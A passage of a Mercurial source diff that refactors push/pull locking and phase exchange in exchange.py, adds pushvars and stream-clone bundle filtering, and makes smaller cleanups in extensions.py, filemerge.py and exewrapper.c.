         self.ui = repo.ui
@@ -308,8 +309,6 @@
         self.bookmarks = bookmarks
         # allow push of new branch
         self.newbranch = newbranch
-        # did a local lock get acquired?
-        self.locallocked = None
         # step already performed
         # (used to check what steps have been already performed through bundle2)
         self.stepsdone = set()
@@ -341,6 +340,8 @@
         self.pushbranchmap = None
         # testable as a boolean indicating if any nodes are missing locally.
         self.incoming = None
+        # summary of the remote phase situation
+        self.remotephases = None
         # phases changes that must be pushed along side the changesets
         self.outdatedphases = None
         # phases changes that must be pushed if changeset push fails
@@ -354,6 +355,8 @@
         # map { pushkey partid -> callback handling failure}
         # used to handle exception from mandatory pushkey part failure
         self.pkfailcb = {}
+        # an iterable of pushvars or None
+        self.pushvars = pushvars
 
     @util.propertycache
     def futureheads(self):
@@ -423,7 +426,7 @@
     if opargs is None:
         opargs = {}
     pushop = pushoperation(repo, remote, force, revs, newbranch, bookmarks,
-                           **opargs)
+                           **pycompat.strkwargs(opargs))
     if pushop.remote.local():
         missing = (set(pushop.repo.requirements)
                    - pushop.remote.local().supported)
@@ -433,28 +436,26 @@
                     " %s") % (', '.join(sorted(missing)))
             raise error.Abort(msg)
 
-    # there are two ways to push to remote repo:
-    #
-    # addchangegroup assumes local user can lock remote
-    # repo (local filesystem, old ssh servers).
-    #
-    # unbundle assumes local user cannot lock remote repo (new ssh
-    # servers, http servers).
-
     if not pushop.remote.canpush():
         raise error.Abort(_("destination does not support push"))
-    # get local lock as we might write phase data
-    localwlock = locallock = None
+
+    if not pushop.remote.capable('unbundle'):
+        raise error.Abort(_('cannot push: destination does not support the '
+                            'unbundle wire protocol command'))
+
+    # get lock as we might write phase data
+    wlock = lock = None
     try:
         # bundle2 push may receive a reply bundle touching bookmarks or other
         # things requiring the wlock. Take it now to ensure proper ordering.
         maypushback = pushop.ui.configbool('experimental', 'bundle2.pushback')
         if (not _forcebundle1(pushop)) and maypushback:
-            localwlock = pushop.repo.wlock()
-        locallock = pushop.repo.lock()
-        pushop.locallocked = True
+            wlock = pushop.repo.wlock()
+        lock = pushop.repo.lock()
+        pushop.trmanager = transactionmanager(pushop.repo,
+                                              'push-response',
+                                              pushop.remote.url())
     except IOError as err:
-        pushop.locallocked = False
         if err.errno != errno.EACCES:
             raise
         # source repo cannot be locked.
@@ -462,36 +463,18 @@
         # synchronisation.
         msg = 'cannot lock source repository: %s\n' % err
         pushop.ui.debug(msg)
-    try:
-        if pushop.locallocked:
-            pushop.trmanager = transactionmanager(pushop.repo,
-                                                  'push-response',
-                                                  pushop.remote.url())
+
+    with wlock or util.nullcontextmanager(), \
+            lock or util.nullcontextmanager(), \
+            pushop.trmanager or util.nullcontextmanager():
         pushop.repo.checkpush(pushop)
-        lock = None
-        unbundle = pushop.remote.capable('unbundle')
-        if not unbundle:
-            lock = pushop.remote.lock()
-        try:
-            _pushdiscovery(pushop)
-            if not _forcebundle1(pushop):
-                _pushbundle2(pushop)
-            _pushchangeset(pushop)
-            _pushsyncphase(pushop)
-            _pushobsolete(pushop)
-            _pushbookmark(pushop)
-        finally:
-            if lock is not None:
-                lock.release()
-        if pushop.trmanager:
-            pushop.trmanager.close()
-    finally:
-        if pushop.trmanager:
-            pushop.trmanager.release()
-        if locallock is not None:
-            locallock.release()
-        if localwlock is not None:
-            localwlock.release()
+        _pushdiscovery(pushop)
+        if not _forcebundle1(pushop):
+            _pushbundle2(pushop)
+        _pushchangeset(pushop)
+        _pushsyncphase(pushop)
+        _pushobsolete(pushop)
+        _pushbookmark(pushop)
 
     return pushop
 
@@ -546,27 +529,30 @@
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     remotephases = pushop.remote.listkeys('phases')
-    publishing = remotephases.get('publishing', False)
     if (pushop.ui.configbool('ui', '_usedassubrepo')
         and remotephases    # server supports phases
         and not pushop.outgoing.missing # no changesets to be pushed
-        and publishing):
+        and remotephases.get('publishing', False)):
         # When:
         # - this is a subrepo push
         # - and remote support phase
         # - and no changeset are to be pushed
         # - and remote is publishing
-        # We may be in issue 3871 case!
+        # We may be in issue 3781 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
-        remotephases = {'publishing': 'True'}
-    ana = phases.analyzeremotephases(pushop.repo,
-                                     pushop.fallbackheads,
-                                     remotephases)
-    pheads, droots = ana
+        pushop.outdatedphases = []
+        pushop.fallbackoutdatedphases = []
+        return
+
+    pushop.remotephases = phases.remotephasessummary(pushop.repo,
+                                                     pushop.fallbackheads,
+                                                     remotephases)
+    droots = pushop.remotephases.draftroots
+
     extracond = ''
-    if not publishing:
+    if not pushop.remotephases.publishing:
         extracond = ' and public()'
     revset = 'heads((%%ln::%%ln) %s)' % extracond
     # Get the list of all revs draft on remote by public here.
@@ -677,9 +663,11 @@
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _("push includes obsolete changeset: %s!")
-            mst = {"unstable": _("push includes unstable changeset: %s!"),
-                   "bumped": _("push includes bumped changeset: %s!"),
-                   "divergent": _("push includes divergent changeset: %s!")}
+            mspd = _("push includes phase-divergent changeset: %s!")
+            mscd = _("push includes content-divergent changeset: %s!")
+            mst = {"orphan": _("push includes orphan changeset: %s!"),
+                   "phase-divergent": mspd,
+                   "content-divergent": mscd}
             # If we are to push if there is at least one
             # obsolete or unstable changeset in missing, at
             # least one of the missinghead will be obsolete or
@@ -688,8 +676,10 @@
                 ctx = unfi[node]
                 if ctx.obsolete():
                     raise error.Abort(mso % ctx)
-                elif ctx.troubled():
-                    raise error.Abort(mst[ctx.troubles()[0]] % ctx)
+                elif ctx.isunstable():
+                    # TODO print more than one instability in the abort
+                    # message
+                    raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
 
         discovery.checkheads(pushop)
     return True
@@ -745,6 +735,31 @@
                 data = iter(sorted(affected))
                 bundler.newpart('check:updated-heads', data=data)
 
+def _pushing(pushop):
+    """return True if we are pushing anything"""
+    return bool(pushop.outgoing.missing
+                or pushop.outdatedphases
+                or pushop.outobsmarkers
+                or pushop.outbookmarks)
+
+@b2partsgenerator('check-phases')
+def _pushb2checkphases(pushop, bundler):
+    """insert phase move checking"""
+    if not _pushing(pushop) or pushop.force:
+        return
+    b2caps = bundle2.bundle2caps(pushop.remote)
+    hasphaseheads = 'heads' in b2caps.get('phases', ())
+    if pushop.remotephases is not None and hasphaseheads:
+        # check that the remote phase has not changed
+        checks = [[] for p in phases.allphases]
+        checks[phases.public].extend(pushop.remotephases.publicheads)
+        checks[phases.draft].extend(pushop.remotephases.draftroots)
+        if any(checks):
+            for nodes in checks:
+                nodes.sort()
+            checkdata = phases.binaryencode(checks)
+            bundler.newpart('check:phases', data=checkdata)
+
 @b2partsgenerator('changeset')
 def _pushb2ctx(pushop, bundler):
     """handle changegroup push through bundle2
@@ -771,10 +786,9 @@
         if not cgversions:
             raise ValueError(_('no common changegroup version'))
         version = max(cgversions)
-    cg = changegroup.getlocalchangegroupraw(pushop.repo, 'push',
-                                            pushop.outgoing,
-                                            version=version)
-    cgpart = bundler.newpart('changegroup', data=cg)
+    cgstream = changegroup.makestream(pushop.repo, pushop.outgoing, version,
+                                      'push')
+    cgpart = bundler.newpart('changegroup', data=cgstream)
     if cgversions:
         cgpart.addparam('version', version)
     if 'treemanifest' in pushop.repo.requirements:
@@ -792,8 +806,28 @@
     if 'phases' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
-    if not 'pushkey' in b2caps:
-        return
+    ui = pushop.repo.ui
+
+    legacyphase = 'phases' in ui.configlist('devel', 'legacy.exchange')
+    haspushkey = 'pushkey' in b2caps
+    hasphaseheads = 'heads' in b2caps.get('phases', ())
+
+    if hasphaseheads and not legacyphase:
+        _pushb2phaseheads(pushop, bundler)
+    elif haspushkey:
+        _pushb2phasespushkey(pushop, bundler)
+
+def _pushb2phaseheads(pushop, bundler):
+    """push phase information through a bundle2 - binary part"""
+    pushop.stepsdone.add('phases')
+    if pushop.outdatedphases:
+        updates = [[] for p in phases.allphases]
+        updates[0].extend(h.node() for h in pushop.outdatedphases)
+        phasedata = phases.binaryencode(updates)
+        bundler.newpart('phase-heads', data=phasedata)
+
+def _pushb2phasespushkey(pushop, bundler):
+    """push phase information through a bundle2 - pushkey part"""
     pushop.stepsdone.add('phases')
     part2node = []
 
@@ -808,8 +842,8 @@
         part = bundler.newpart('pushkey')
         part.addparam('namespace', enc('phases'))
         part.addparam('key', enc(newremotehead.hex()))
-        part.addparam('old', enc(str(phases.draft)))
-        part.addparam('new', enc(str(phases.public)))
+        part.addparam('old', enc('%d' % phases.draft))
+        part.addparam('new', enc('%d' % phases.public))
         part2node.append((part.id, newremotehead))
         pushop.pkfailcb[part.id] = handlefailure
 
@@ -891,6 +925,24 @@
                         pushop.bkresult = 1
     return handlereply
 
+@b2partsgenerator('pushvars', idx=0)
+def _getbundlesendvars(pushop, bundler):
+    '''send shellvars via bundle2'''
+    pushvars = pushop.pushvars
+    if pushvars:
+        shellvars = {}
+        for raw in pushvars:
+            if '=' not in raw:
+                msg = ("unable to parse variable '%s', should follow "
+                        "'KEY=VALUE' or 'KEY=' format")
+                raise error.Abort(msg % raw)
+            k, v = raw.split('=', 1)
+            shellvars[k] = v
+
+        part = bundler.newpart('pushvars')
+
+        for key, value in shellvars.iteritems():
+            part.addparam(key, value, mandatory=False)
 
 def _pushbundle2(pushop):
     """push data to the remote using bundle2
@@ -948,9 +1000,12 @@
     pushop.stepsdone.add('changesets')
     if not _pushcheckoutgoing(pushop):
         return
+
+    # Should have verified this in push().
+    assert pushop.remote.capable('unbundle')
+
     pushop.repo.prepushoutgoinghooks(pushop)
     outgoing = pushop.outgoing
-    unbundle = pushop.remote.capable('unbundle')
     # TODO: get bundlecaps from remote
     bundlecaps = None
     # create a changegroup from local
@@ -958,35 +1013,25 @@
                             or pushop.repo.changelog.filteredrevs):
         # push everything,
         # use the fast path, no race possible on push
-        bundler = changegroup.cg1packer(pushop.repo, bundlecaps)
-        cg = changegroup.getsubset(pushop.repo,
-                                   outgoing,
-                                   bundler,
-                                   'push',
-                                   fastpath=True)
+        cg = changegroup.makechangegroup(pushop.repo, outgoing, '01', 'push',
+                fastpath=True, bundlecaps=bundlecaps)
     else:
-        cg = changegroup.getchangegroup(pushop.repo, 'push', outgoing,
-                                        bundlecaps=bundlecaps)
+        cg = changegroup.makechangegroup(pushop.repo, outgoing, '01',
+                                        'push', bundlecaps=bundlecaps)
 
     # apply changegroup to remote
-    if unbundle:
-        # local repo finds heads on server, finds out what
-        # revs it must push. once revs transferred, if server
-        # finds it has different heads (someone else won
-        # commit/push race), server aborts.
-        if pushop.force:
-            remoteheads = ['force']
-        else:
-            remoteheads = pushop.remoteheads
-        # ssh: return remote's addchangegroup()
-        # http: return remote's addchangegroup() or 0 for error
-        pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
-                                            pushop.repo.url())
+    # local repo finds heads on server, finds out what
+    # revs it must push. once revs transferred, if server
+    # finds it has different heads (someone else won
+    # commit/push race), server aborts.
+    if pushop.force:
+        remoteheads = ['force']
     else:
-        # we return an integer indicating remote head count
-        # change
-        pushop.cgresult = pushop.remote.addchangegroup(cg, 'push',
-                                                       pushop.repo.url())
+        remoteheads = pushop.remoteheads
+    # ssh: return remote's addchangegroup()
+    # http: return remote's addchangegroup() or 0 for error
+    pushop.cgresult = pushop.remote.unbundle(cg, remoteheads,
+                                        pushop.repo.url())
 
 def _pushsyncphase(pushop):
     """synchronise phase information locally and remotely"""
@@ -1173,7 +1218,7 @@
         # deprecated; talk to trmanager directly
         return self.trmanager.transaction()
 
-class transactionmanager(object):
+class transactionmanager(util.transactional):
     """An object to manage the life cycle of a transaction
 
     It creates the transaction on demand and calls the appropriate hooks when
@@ -1229,8 +1274,10 @@
         opargs = {}
     pullop = pulloperation(repo, remote, heads, force, bookmarks=bookmarks,
                            streamclonerequested=streamclonerequested, **opargs)
-    if pullop.remote.local():
-        missing = set(pullop.remote.requirements) - pullop.repo.supported
+
+    peerlocal = pullop.remote.local()
+    if peerlocal:
+        missing = set(peerlocal.requirements) - pullop.repo.supported
         if missing:
             msg = _("required features are not"
                     " supported in the destination:"
@@ -1242,10 +1289,10 @@
         wlock = pullop.repo.wlock()
         lock = pullop.repo.lock()
         pullop.trmanager = transactionmanager(repo, 'pull', remote.url())
-        streamclone.maybeperformlegacystreamclone(pullop)
         # This should ideally be in _pullbundle2(). However, it needs to run
         # before discovery to avoid extra work.
         _maybeapplyclonebundle(pullop)
+        streamclone.maybeperformlegacystreamclone(pullop)
         _pulldiscovery(pullop)
         if pullop.canusebundle2:
             _pullbundle2(pullop)
@@ -1317,8 +1364,7 @@
     common, fetch, rheads = tmp
     nm = pullop.repo.unfiltered().changelog.nodemap
     if fetch and rheads:
-        # If a remote heads in filtered locally, lets drop it from the unknown
-        # remote heads and put in back in common.
+        # If a remote heads is filtered locally, put in back in common.
         #
         # This is a hackish solution to catch most of "common but locally
         # hidden situation".  We do not performs discovery on unfiltered
@@ -1328,16 +1374,12 @@
         # If a set of such "common but filtered" changeset exist on the server
         # but are not including a remote heads, we'll not be able to detect it,
         scommon = set(common)
-        filteredrheads = []
         for n in rheads:
             if n in nm:
                 if n not in scommon:
                     common.append(n)
-            else:
-                filteredrheads.append(n)
-        if not filteredrheads:
+        if set(rheads).issubset(set(common)):
             fetch = []
-        rheads = filteredrheads
     pullop.common = common
     pullop.fetch = fetch
     pullop.rheads = rheads
@@ -1358,12 +1400,21 @@
     kwargs['common'] = pullop.common
     kwargs['heads'] = pullop.heads or pullop.rheads
     kwargs['cg'] = pullop.fetch
+
+    ui = pullop.repo.ui
+    legacyphase = 'phases' in ui.configlist('devel', 'legacy.exchange')
+    hasbinaryphase = 'heads' in pullop.remotebundle2caps.get('phases', ())
+    if (not legacyphase and hasbinaryphase):
+        kwargs['phases'] = True
+        pullop.stepsdone.add('phases')
+
     if 'listkeys' in pullop.remotebundle2caps:
-        kwargs['listkeys'] = ['phases']
+        if 'phases' not in pullop.stepsdone:
+            kwargs['listkeys'] = ['phases']
         if pullop.remotebookmarks is None:
             # make sure to always includes bookmark data when migrating
             # `hg incoming --bundle` to using this function.
-            kwargs['listkeys'].append('bookmarks')
+            kwargs.setdefault('listkeys', []).append('bookmarks')
 
     # If this is a full pull / clone and the server supports the clone bundles
     # feature, tell the server whether we attempted a clone bundle. The
@@ -1416,7 +1467,6 @@
 
 def _pullbundle2extraprepare(pullop, kwargs):
     """hook function so that extensions can extend the getbundle call"""
-    pass
 
 def _pullchangeset(pullop):
     """pull changeset from unbundle into the local repo"""
@@ -1595,8 +1645,8 @@
             raise ValueError(_('unsupported getbundle arguments: %s')
                              % ', '.join(sorted(kwargs.keys())))
         outgoing = _computeoutgoing(repo, heads, common)
-        bundler = changegroup.getbundler('01', repo, bundlecaps)
-        return changegroup.getsubsetraw(repo, outgoing, bundler, source)
+        return changegroup.makestream(repo, outgoing, '01', source,
+                                      bundlecaps=bundlecaps)
 
     # bundle20 case
     b2caps = {}
@@ -1620,7 +1670,7 @@
 def _getbundlechangegrouppart(bundler, repo, source, bundlecaps=None,
                               b2caps=None, heads=None, common=None, **kwargs):
     """add a changegroup part to the requested bundle"""
-    cg = None
+    cgstream = None
     if kwargs.get('cg', True):
         # build changegroup bundle here.
         version = '01'
@@ -1632,15 +1682,16 @@
                 raise ValueError(_('no common changegroup version'))
             version = max(cgversions)
         outgoing = _computeoutgoing(repo, heads, common)
-        cg = changegroup.getlocalchangegroupraw(repo, source, outgoing,
-                                                bundlecaps=bundlecaps,
-                                                version=version)
+        if outgoing.missing:
+            cgstream = changegroup.makestream(repo, outgoing, version, source,
+                                              bundlecaps=bundlecaps)
 
-    if cg:
-        part = bundler.newpart('changegroup', data=cg)
+    if cgstream:
+        part = bundler.newpart('changegroup', data=cgstream)
         if cgversions:
             part.addparam('version', version)
-        part.addparam('nbchanges', str(len(outgoing.missing)), mandatory=False)
+        part.addparam('nbchanges', '%d' % len(outgoing.missing),
+                      mandatory=False)
         if 'treemanifest' in repo.requirements:
             part.addparam('treemanifest', '1')
 
@@ -1667,6 +1718,53 @@
         markers = sorted(markers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
+@getbundle2partsgenerator('phases')
+def _getbundlephasespart(bundler, repo, source, bundlecaps=None,
+                            b2caps=None, heads=None, **kwargs):
+    """add phase heads part to the requested bundle"""
+    if kwargs.get('phases', False):
+        if not 'heads' in b2caps.get('phases'):
+            raise ValueError(_('no common phases exchange method'))
+        if heads is None:
+            heads = repo.heads()
+
+        headsbyphase = collections.defaultdict(set)
+        if repo.publishing():
+            headsbyphase[phases.public] = heads
+        else:
+            # find the appropriate heads to move
+
+            phase = repo._phasecache.phase
+            node = repo.changelog.node
+            rev = repo.changelog.rev
+            for h in heads:
+                headsbyphase[phase(repo, rev(h))].add(h)
+            seenphases = list(headsbyphase.keys())
+
+            # We do not handle anything but public and draft phase for now)
+            if seenphases:
+                assert max(seenphases) <= phases.draft
+
+            # if client is pulling non-public changesets, we need to find
+            # intermediate public heads.
+            draftheads = headsbyphase.get(phases.draft, set())
+            if draftheads:
+                publicheads = headsbyphase.get(phases.public, set())
+
+                revset = 'heads(only(%ln, %ln) and public())'
+                extraheads = repo.revs(revset, draftheads, publicheads)
+                for r in extraheads:
+                    headsbyphase[phases.public].add(node(r))
+
+        # transform data in a format used by the encoding function
+        phasemapping = []
+        for phase in phases.allphases:
+            phasemapping.append(sorted(headsbyphase[phase]))
+
+        # generate the actual part
+        phasedata = phases.binaryencode(phasemapping)
+        bundler.newpart('phase-heads', data=phasedata)
+
 @getbundle2partsgenerator('hgtagsfnodes')
 def _getbundletagsfnodes(bundler, repo, source, bundlecaps=None,
                          b2caps=None, heads=None, common=None,
@@ -1816,7 +1914,9 @@
                        'falling back to regular clone\n'))
         return
 
-    entries = filterclonebundleentries(repo, entries)
+    entries = filterclonebundleentries(
+        repo, entries, streamclonerequested=pullop.streamclonerequested)
+
     if not entries:
         # There is a thundering herd concern here. However, if a server
         # operator doesn't advertise bundles appropriate for its clients,
@@ -1885,7 +1985,7 @@
 
     return m
 
-def filterclonebundleentries(repo, entries):
+def filterclonebundleentries(repo, entries, streamclonerequested=False):
     """Remove incompatible clone bundle manifest entries.
 
     Accepts a list of entries parsed with ``parseclonebundlesmanifest``
@@ -1900,7 +2000,15 @@
         spec = entry.get('BUNDLESPEC')
         if spec:
             try:
-                parsebundlespec(repo, spec, strict=True)
+                comp, version, params = parsebundlespec(repo, spec, strict=True)
+
+                # If a stream clone was requested, filter out non-streamclone
+                # entries.
+                if streamclonerequested and (comp != 'UN' or version != 's1'):
+                    repo.ui.debug('filtering %s because not a stream clone\n' %
+                                  entry['URL'])
+                    continue
+
             except error.InvalidBundleSpecification as e:
                 repo.ui.debug(str(e) + '\n')
                 continue
@@ -1908,6 +2016,12 @@
                 repo.ui.debug('filtering %s because unsupported bundle '
                               'spec: %s\n' % (entry['URL'], str(e)))
                 continue
+        # If we don't have a spec and requested a stream clone, we don't know
+        # what the entry is so don't attempt to apply it.
+        elif streamclonerequested:
+            repo.ui.debug('filtering %s because cannot determine if a stream '
+                          'clone bundle\n' % entry['URL'])
+            continue
 
         if 'REQUIRESNI' in entry and not sslutil.hassni:
             repo.ui.debug('filtering %s because SNI not supported\n' %
diff --git a/mercurial/exewrapper.c b/mercurial/exewrapper.c
--- a/mercurial/exewrapper.c
+++ b/mercurial/exewrapper.c
@@ -23,7 +23,6 @@
 }
 #endif
 
-
 static char pyscript[MAX_PATH + 10];
 static char pyhome[MAX_PATH + 10];
 static char envpyhome[MAX_PATH + 10];
@@ -40,11 +39,10 @@
 	HANDLE hfind;
 	const char *err;
 	HMODULE pydll;
-	void (__cdecl *Py_SetPythonHome)(char *home);
-	int (__cdecl *Py_Main)(int argc, char *argv[]);
+	void(__cdecl * Py_SetPythonHome)(char *home);
+	int(__cdecl * Py_Main)(int argc, char *argv[]);
 
-	if (GetModuleFileName(NULL, pyscript, sizeof(pyscript)) == 0)
-	{
+	if (GetModuleFileName(NULL, pyscript, sizeof(pyscript)) == 0) {
 		err = "GetModuleFileName failed";
 		goto bail;
 	}
@@ -87,10 +85,12 @@
 		strcat_s(pydllfile, sizeof(pydllfile), "\\" HGPYTHONLIB ".dll");
 		pydll = LoadLibrary(pydllfile);
 		if (pydll == NULL) {
-			err = "failed to load private Python DLL " HGPYTHONLIB ".dll";
+			err = "failed to load private Python DLL " HGPYTHONLIB
+			      ".dll";
 			goto bail;
 		}
-		Py_SetPythonHome = (void*)GetProcAddress(pydll, "Py_SetPythonHome");
+		Py_SetPythonHome =
+		    (void *)GetProcAddress(pydll, "Py_SetPythonHome");
 		if (Py_SetPythonHome == NULL) {
 			err = "failed to get Py_SetPythonHome";
 			goto bail;
@@ -106,7 +106,7 @@
 		}
 	}
 
-	Py_Main = (void*)GetProcAddress(pydll, "Py_Main");
+	Py_Main = (void *)GetProcAddress(pydll, "Py_Main");
 	if (Py_Main == NULL) {
 		err = "failed to get Py_Main";
 		goto bail;
@@ -133,7 +133,7 @@
 	name of our exe (argv[0]) in the position where the python.exe
 	canonically is, and insert the pyscript next.
 	*/
-	pyargv = malloc((argc + 5) * sizeof(char*));
+	pyargv = malloc((argc + 5) * sizeof(char *));
 	if (pyargv == NULL) {
 		err = "not enough memory";
 		goto bail;
diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import functools
 import imp
 import inspect
 import os
@@ -19,7 +20,6 @@
 from . import (
     cmdutil,
     configitems,
-    encoding,
     error,
     pycompat,
     util,
@@ -114,16 +114,11 @@
                 mod = _importh(name)
     return mod
 
-def _forbytes(inst):
-    """Portably format an import error into a form suitable for
-    %-formatting into bytestrings."""
-    return encoding.strtolocal(str(inst))
-
 def _reportimporterror(ui, err, failed, next):
     # note: this ui.debug happens before --debug is processed,
     #       Use --config ui.debug=1 to see them.
     ui.debug('could not import %s (%s): trying %s\n'
-             % (failed, _forbytes(err), next))
+             % (failed, util.forcebytestr(err), next))
     if ui.debugflag:
         ui.traceback()
 
@@ -139,6 +134,14 @@
                           "registrar.command to register '%s'" % c, '4.6')
         missing = [a for a in _cmdfuncattrs if not util.safehasattr(f, a)]
         if not missing:
+            for option in e[1]:
+                default = option[2]
+                if isinstance(default, type(u'')):
+                    raise error.ProgrammingError(
+                        "option '%s.%s' has a unicode default value"
+                        % (c, option[1]),
+                        hint=("change the %s.%s default value to a "
+                              "non-unicode string" % (c, option[1])))
             continue
         raise error.ProgrammingError(
             'missing attributes: %s' % ', '.join(missing),
@@ -179,8 +182,8 @@
         try:
             uisetup(ui)
         except Exception as inst:
-            ui.traceback()
-            msg = _forbytes(inst)
+            ui.traceback(force=True)
+            msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
     return True
@@ -192,12 +195,16 @@
             try:
                 extsetup(ui)
             except TypeError:
-                if inspect.getargspec(extsetup).args:
+                # Try to use getfullargspec (Python 3) first, and fall
+                # back to getargspec only if it doesn't exist so as to
+                # avoid warnings.
+                if getattr(inspect, 'getfullargspec',
+                           getattr(inspect, 'getargspec'))(extsetup).args:
                     raise
                 extsetup() # old extsetup with no ui argument
         except Exception as inst:
-            ui.traceback()
-            msg = _forbytes(inst)
+            ui.traceback(force=True)
+            msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
     return True
@@ -215,7 +222,7 @@
         try:
             load(ui, name, path)
         except Exception as inst:
-            msg = _forbytes(inst)
+            msg = util.forcebytestr(inst)
             if path:
                 ui.warn(_("*** failed to import extension %s from %s: %s\n")
                         % (name, path, msg))
@@ -225,6 +232,18 @@
             if isinstance(inst, error.Hint) and inst.hint:
                 ui.warn(_("*** (%s)\n") % inst.hint)
             ui.traceback()
+    # list of (objname, loadermod, loadername) tuple:
+    # - objname is the name of an object in extension module,
+    #   from which extra information is loaded
+    # - loadermod is the module where loader is placed
+    # - loadername is the name of the function,
+    #   which takes (ui, extensionname, extraobj) arguments
+    #
+    # This one is for the list of item that must be run before running any setup
+    earlyextraloaders = [
+        ('configtable', configitems, 'loadconfigtable'),
+    ]
+    _loadextra(ui, newindex, earlyextraloaders)
 
     broken = set()
     for name in _order[newindex:]:
@@ -256,6 +275,7 @@
     from . import (
         color,
         commands,
+        filemerge,
         fileset,
         revset,
         templatefilters,
@@ -272,14 +292,16 @@
     extraloaders = [
         ('cmdtable', commands, 'loadcmdtable'),
         ('colortable', color, 'loadcolortable'),
-        ('configtable', configitems, 'loadconfigtable'),
         ('filesetpredicate', fileset, 'loadpredicate'),
+        ('internalmerge', filemerge, 'loadinternalmerge'),
         ('revsetpredicate', revset, 'loadpredicate'),
         ('templatefilter', templatefilters, 'loadfilter'),
         ('templatefunc', templater, 'loadfunction'),
         ('templatekeyword', templatekw, 'loadkeyword'),
     ]
+    _loadextra(ui, newindex, extraloaders)
 
+def _loadextra(ui, newindex, extraloaders):
     for name in _order[newindex:]:
         module = _extensions[name]
         if not module:
@@ -324,6 +346,10 @@
 
 def _updatewrapper(wrap, origfn, unboundwrapper):
     '''Copy and add some useful attributes to wrapper'''
+    try:
+        wrap.__name__ = origfn.__name__
+    except AttributeError:
+        pass
     wrap.__module__ = getattr(origfn, '__module__')
     wrap.__doc__ = getattr(origfn, '__doc__')
     wrap.__dict__.update(getattr(origfn, '__dict__', {}))
@@ -367,7 +393,8 @@
             break
 
     origfn = entry[0]
-    wrap = bind(util.checksignature(wrapper), util.checksignature(origfn))
+    wrap = functools.partial(util.checksignature(wrapper),
+                             util.checksignature(origfn))
     _updatewrapper(wrap, origfn, wrapper)
     if docstring is not None:
         wrap.__doc__ += docstring
@@ -384,6 +411,7 @@
 
     These can't be wrapped using the normal wrapfunction.
     """
+    propname = pycompat.sysstr(propname)
     assert callable(wrapper)
     for currcls in cls.__mro__:
         if propname in currcls.__dict__:
@@ -395,8 +423,23 @@
             break
 
     if currcls is object:
-        raise AttributeError(
-            _("type '%s' has no property '%s'") % (cls, propname))
+        raise AttributeError(r"type '%s' has no property '%s'" % (
+            cls, propname))
+
+class wrappedfunction(object):
+    '''context manager for temporarily wrapping a function'''
+
+    def __init__(self, container, funcname, wrapper):
+        assert callable(wrapper)
+        self._container = container
+        self._funcname = funcname
+        self._wrapper = wrapper
+
+    def __enter__(self):
+        wrapfunction(self._container, self._funcname, self._wrapper)
+
+    def __exit__(self, exctype, excvalue, traceback):
+        unwrapfunction(self._container, self._funcname, self._wrapper)
 
 def wrapfunction(container, funcname, wrapper):
     '''Wrap the function named funcname in container
@@ -435,7 +478,14 @@
 
     origfn = getattr(container, funcname)
     assert callable(origfn)
-    wrap = bind(wrapper, origfn)
+    if inspect.ismodule(container):
+        # origfn is not an instance or class method. "partial" can be used.
+        # "partial" won't insert a frame in traceback.
+        wrap = functools.partial(wrapper, origfn)
+    else:
+        # "partial" cannot be safely used. Emulate its effect by using "bind".
+        # The downside is one more frame in traceback.
+        wrap = bind(wrapper, origfn)
     _updatewrapper(wrap, origfn, wrapper)
     setattr(container, funcname, wrap)
     return origfn
diff --git a/mercurial/filelog.py b/mercurial/filelog.py
--- a/mercurial/filelog.py
+++ b/mercurial/filelog.py
@@ -31,7 +31,7 @@
     return meta, (s + 2)
 
 def packmeta(meta, text):
-    keys = sorted(meta.iterkeys())
+    keys = sorted(meta)
     metatext = "".join("%s: %s\n" % (k, meta[k]) for k in keys)
     return "\1\n%s\1\n%s" % (metatext, text)
 
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import filecmp
 import os
 import re
 import tempfile
@@ -21,6 +20,7 @@
     formatter,
     match,
     pycompat,
+    registrar,
     scmutil,
     simplemerge,
     tagmerge,
@@ -29,25 +29,25 @@
     util,
 )
 
-def _toolstr(ui, tool, part, default=""):
-    return ui.config("merge-tools", tool + "." + part, default)
+def _toolstr(ui, tool, part, *args):
+    return ui.config("merge-tools", tool + "." + part, *args)
 
-def _toolbool(ui, tool, part, default=False):
-    return ui.configbool("merge-tools", tool + "." + part, default)
+def _toolbool(ui, tool, part,*args):
+    return ui.configbool("merge-tools", tool + "." + part, *args)
 
-def _toollist(ui, tool, part, default=None):
-    if default is None:
-        default = []
-    return ui.configlist("merge-tools", tool + "." + part, default)
+def _toollist(ui, tool, part):
+    return ui.configlist("merge-tools", tool + "." + part)
 
 internals = {}
 # Merge tools to document.
 internalsdoc = {}
 
+internaltool = registrar.internalmerge()
+
 # internal tool merge types
-nomerge = None
-mergeonly = 'mergeonly'  # just the full merge, no premerge
-fullmerge = 'fullmerge'  # both premerge and merge
+nomerge = internaltool.nomerge
+mergeonly = internaltool.mergeonly # just the full merge, no premerge
+fullmerge = internaltool.fullmerge # both premerge and merge
 
 _localchangedotherdeletedmsg = _(
     "local%(l)s changed %(fd)s which other%(o)s deleted\n"
@@ -104,21 +104,6 @@
     def isabsent(self):
         return True
 
-def internaltool(name, mergetype, onfailure=None, precheck=None):
-    '''return a decorator for populating internal merge tool table'''
-    def decorator(func):
-        fullname = ':' + name
-        func.__doc__ = (pycompat.sysstr("``%s``\n" % fullname)
-                        + func.__doc__.strip())
-        internals[fullname] = func
-        internals['internal:' + name] = func
-        internalsdoc[fullname] = func
-        func.mergetype = mergetype
-        func.onfailure = onfailure
-        func.precheck = precheck
-        return func
-    return decorator
-
 def _findtool(ui, tool):
     if tool in internals:
         return tool
@@ -199,8 +184,8 @@
     for k, v in ui.configitems("merge-tools"):
         t = k.split('.')[0]
         if t not in tools:
